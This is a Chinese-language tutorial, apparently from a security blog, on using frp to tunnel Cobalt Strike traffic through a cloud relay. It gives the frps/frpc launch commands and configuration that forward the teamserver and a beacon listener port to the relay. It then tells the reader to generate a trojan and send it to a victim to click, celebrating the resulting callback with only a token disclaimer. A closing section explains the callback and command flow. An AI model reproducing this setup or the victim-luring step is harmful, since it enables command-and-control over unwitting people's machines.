CS通过frp实现内网穿透教程及原理分析

01、背景介绍

在使用cobalt strike的场景中,很多时候会遇到内网机是Windows不出网,而外网机是Linux的,而且外网机只能获取到低权限来转发流量。如果此时想使用cobalt strike来横向的话,需要使用Linux机器作为跳板机来进行操作。

1747050420395.png前期准备:

①一台云服务器(即跳板机,安装了frp)

②一台攻击机(安装了CS和frp)

02、环境配置

这里使用frp进行流量转发

1772011660434.png

2.1 跳板机_192.168.3.3

先给frps赋予执行权限:

1
chmod 700 frps

然后直接启动服务端:

1
./frps -c frps.ini

其中frps.ini的配置信息(默认不用修改):

1
2
[common]
bind_port = 7000

1772012446887.png

同时将云服务器的一些端口提前打开,方便后续端口的连接:(在云服务器的管理控制台进行配置)

1772012479617.png

2.2 攻击机_192.168.3.2

先给frpc赋予执行权限:

1
chmod 700 frpc

然后直接启动客户端:

1
./frpc -c frpc.ini

其中frpc.ini的配置信息(默认,服务端IP需改成跳板机IP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[common]
server_addr = 192.168.3.3
server_port = 7000

[CS_Server_9050]
type = tcp
local_ip = 127.0.0.1
local_port = 50050
remote_port = 9050

[test_Beacon_9080]
type = tcp
local_ip = 127.0.0.1
local_port = 9080
remote_port = 9080

1772012489632.png

当这边运行成功之后,云服务器端会显示建立连接:

1772012496148.png

2.3 在攻击机上启动CS服务端

先赋予teamserver可执行权限:chmod 777 teamserver,然后直接启动:

1772012506118.png

2.4 在攻击机上启动CS客户端

另外开一个窗口,同样先赋予cobaltstrike可执行权限:

1
chmod 777 cobaltstrike

然后直接启动:

1772012511134.png

当连接建立之后,云服务端的frp会有反应:

1772012514497.png

连接建立完成,此时成功将内网的CS使用frp进行了穿透

1772012519883.png

03、攻击测试

1772012523758.png

1772012527262.png

选择刚刚新建的监听器,生成木马并放在攻击机的任意一个文件夹里,然后把它发给受害者点击

1772012530735.png

受害者点击,目标机器上线!

1772012534224.png

下面就可以开始为所欲为啦!🤣🤣🤣(仅供学习,切勿违法)

04、原理分析

一般在只有攻击机的情况下,受害者点击木马之后,目标机器是无法回连到攻击机的,因为攻击机的IP属于内网IP,不具有唯一性无法建立连接。

因此我们需要一台具有公网IP的云服务器作为跳板,通过frp将流量转发给攻击机,从而实现连接的建立。

下面进行具体原理分析:

①在跳板机上运行frp服务端,开启跳板机的7000端口

②在攻击机上运行frp客户端,作用:

1.用于连接跳板机的7000端口,使攻击机与跳板机匹配成功。

2.将攻击机的50050端口映射至跳板机的9050端口,9080端口映射至跳板机的9080端口

③在攻击机上运行CS的服务端,用攻击机的IP启动,启动后默认会开启攻击机的50050端口

④在攻击机上运行CS的客户端,用跳板机的IP以9050端口连接至CS服务端。

问题一:肉机(即目标机器)是怎么回连到攻击机的?

由图所示:

1772012546929.png

受害者点击木马之后,目标机器进行回连,流量通过跳板机的9080端口发送至跳板机,

然后跳板机将流量进行转发,通过攻击机的9080端口发送至攻击机,回连成功。

问题二:指令是怎么从攻击发送到肉机的?

1772012550003.png

指令首先从CS服务端通过攻击机的50050端口发出,CS客户端通过跳板机的9050端口接收指令,然后将指令转发至肉机,命令得到执行,攻击发生!